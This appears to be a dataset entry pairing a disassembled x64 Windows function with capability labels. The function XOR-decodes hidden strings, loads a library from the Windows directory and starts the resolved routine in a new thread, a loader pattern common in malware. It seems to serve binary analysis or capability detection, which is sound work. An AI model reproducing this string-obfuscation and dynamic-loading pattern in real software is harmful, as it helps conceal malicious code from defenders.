Function at 0x1800013d0
Capabilities:
Create thread
Encode data using xor
Get common file path

Disassembly:
push rbp
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x18001a008]
xor rax, rsp
mov qword [rbp + 0x150], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [0x180017788]
mov rdx, 0xffffffffffffffff
movsd xmm0, qword [str.q_Me_:]
mov rcx, rdx
mov byte [rbp - 0x38], al
xor eax, eax
mov dword [rbp - 7], eax
mov word [rbp - 3], ax
mov byte [rbp - 1], al
movzx eax, byte [0x180017798]
mov byte [rsp + 0x48], al
xor eax, eax
mov dword [rsp + 0x79], eax
mov word [rsp + 0x7d], ax
mov byte [rsp + 0x7f], al
mov eax, dword [0x1800177a8]
movsd qword [rbp - 0x40], xmm0
xorps xmm0, xmm0
mov dword [rbp + 8], eax
movzx eax, word [0x1800177ac]
movups xmmword [rbp - 0x37], xmm0
mov word [rbp + 0xc], ax
xor eax, eax
movups xmmword [rbp - 0x27], xmm0
mov word [rbp + 0x3e], ax
mov eax, dword [0x1800177b8]
movups xmmword [rbp - 0x17], xmm0
mov dword [rbp - 0x78], eax
movzx eax, word [0x1800177bc]
movsd xmm0, qword [0x180017790]
movsd qword [rsp + 0x40], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x49], xmm0
mov word [rbp - 0x74], ax
movzx eax, byte [0x1800177be]
movups xmmword [rsp + 0x59], xmm0
mov byte [rbp - 0x72], al
xor eax, eax
movups xmmword [rsp + 0x69], xmm0
mov byte [rbp - 0x41], al
lea rax, [rbp - 0x40]
movsd xmm0, qword [str.gkcmixaldd]
movsd qword [rbp], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe], xmm0
movups xmmword [rbp + 0x1e], xmm0
movups xmmword [rbp + 0x2e], xmm0
movsd xmm0, qword [str._gkcmMfzqIxa]
movsd qword [rbp - 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x71], xmm0
movups xmmword [rbp - 0x61], xmm0
movups xmmword [rbp - 0x51], xmm0
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1800014f0
movdqa xmm2, xmmword [str._b_b_b_b_b_b_b_b_b_b_b_b_b_b_b_b]
xor r9d, r9d
test ecx, ecx
jle 0x180001581
cmp ecx, 0x40
jb 0x180001581
mov r8d, ecx
and r8d, 0x8000003f
jge 0x180001523
dec r8d
or r8d, 0xffffffc0
inc r8d
mov eax, ecx
sub eax, r8d
movsxd r8, eax
xor eax, eax
nop dword [rax]
movdqu xmm0, xmmword [rbp + rax - 0x40]
add r9d, 0x40
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rbp + rax - 0x40], xmm0
movdqu xmm0, xmmword [rbp + rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rbp + rax - 0x30], xmm1
movdqu xmm0, xmmword [rbp + rax - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rbp + rax - 0x20], xmm0
movdqu xmm0, xmmword [rbp + rax - 0x10]
pxor xmm0, xmm2
movdqu xmmword [rbp + rax - 0x10], xmm0
add rax, 0x40
cmp rax, r8
jl 0x180001530
movsxd rax, r9d
movsxd r8, ecx
cmp rax, r8
jge 0x18000159d
nop dword [rax]
xor byte [rbp + rax - 0x40], 8
inc rax
cmp rax, r8
jl 0x180001590
lea rax, [rsp + 0x40]
mov rcx, rdx
inc rcx
cmp byte [rax + rcx], 0
jne 0x1800015a5
xor r9d, r9d
test ecx, ecx
jle 0x180001635
cmp ecx, 0x40
jb 0x180001635
mov r8d, ecx
and r8d, 0x8000003f
jge 0x1800015d4
dec r8d
or r8d, 0xffffffc0
inc r8d
mov eax, ecx
sub eax, r8d
movsxd r8, eax
xor eax, eax
nop
movdqu xmm0, xmmword [rsp + rax + 0x40]
add r9d, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x40], xmm1
movdqu xmm0, xmmword [rsp + rax + 0x50]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rsp + rax + 0x50], xmm0
movdqu xmm0, xmmword [rsp + rax + 0x60]
pxor xmm0, xmm2
movdqu xmmword [rsp + rax + 0x60], xmm0
movdqu xmm0, xmmword [rsp + rax + 0x70]
pxor xmm1, xmm0
movdqu xmmword [rsp + rax + 0x70], xmm1
add rax, 0x40
cmp rax, r8
jl 0x1800015e0
movsxd rax, r9d
movsxd r8, ecx
cmp rax, r8
jge 0x18000164d
xor byte [rsp + rax + 0x40], 8
inc rax
cmp rax, r8
jl 0x180001640
lea rax, [rbp]
mov rcx, rdx
inc rcx
cmp byte [rax + rcx], 0
jne 0x180001654
xor r9d, r9d
test ecx, ecx
jle 0x1800016ea
cmp ecx, 0x40
jb 0x1800016ea
mov r8d, ecx
and r8d, 0x8000003f
jge 0x180001687
dec r8d
or r8d, 0xffffffc0
inc r8d
mov eax, ecx
sub eax, r8d
movsxd r8, eax
xor eax, eax
movdqu xmm0, xmmword [rbp + rax]
add r9d, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rax], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rax + 0x10], xmm1
movdqu xmm0, xmmword [rbp + rax + 0x20]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rbp + rax + 0x20], xmm0
movdqu xmm0, xmmword [rbp + rax + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rbp + rax + 0x30], xmm1
add rax, 0x40
cmp rax, r8
jl 0x180001691
movsxd rax, r9d
movsxd r8, ecx
cmp rax, r8
jge 0x18000170d
nop word [rax + rax]
xor byte [rbp + rax], 8
inc rax
cmp rax, r8
jl 0x180001700
lea rax, [rbp - 0x80]
inc rdx
cmp byte [rax + rdx], 0
jne 0x180001711
xor r8d, r8d
test edx, edx
jle 0x180001799
cmp edx, 0x40
jb 0x180001799
mov ecx, edx
and ecx, 0x8000003f
jge 0x180001737
dec ecx
or ecx, 0xffffffc0
inc ecx
mov eax, edx
sub eax, ecx
movsxd rcx, eax
xor eax, eax
movdqu xmm0, xmmword [rbp + rax - 0x80]
add r8d, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rax - 0x80], xmm1
movdqu xmm0, xmmword [rbp + rax - 0x70]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rbp + rax - 0x70], xmm1
movdqu xmm0, xmmword [rbp + rax - 0x60]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rbp + rax - 0x60], xmm0
movdqu xmm0, xmmword [rbp + rax - 0x50]
pxor xmm1, xmm0
movdqu xmmword [rbp + rax - 0x50], xmm1
add rax, 0x40
cmp rax, rcx
jl 0x180001740
movsxd rax, r8d
movsxd rcx, edx
cmp rax, rcx
jge 0x1800017bd
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rax - 0x80], 8
inc rax
cmp rax, rcx
jl 0x1800017b0
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x104
call fcn.180002ac0
mov edx, 0x104
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rdx, [0x1800177c0]
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x1800177c0]
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp]
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x180001832
mov eax, 1
jmp 0x18000186e
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x18000184b
mov eax, 2
jmp 0x18000186e
lea rcx, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], 0
xor edx, edx
call fcn.18000559c
xor eax, eax
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.1800018b0
add rsp, 0x260
pop rbp
ret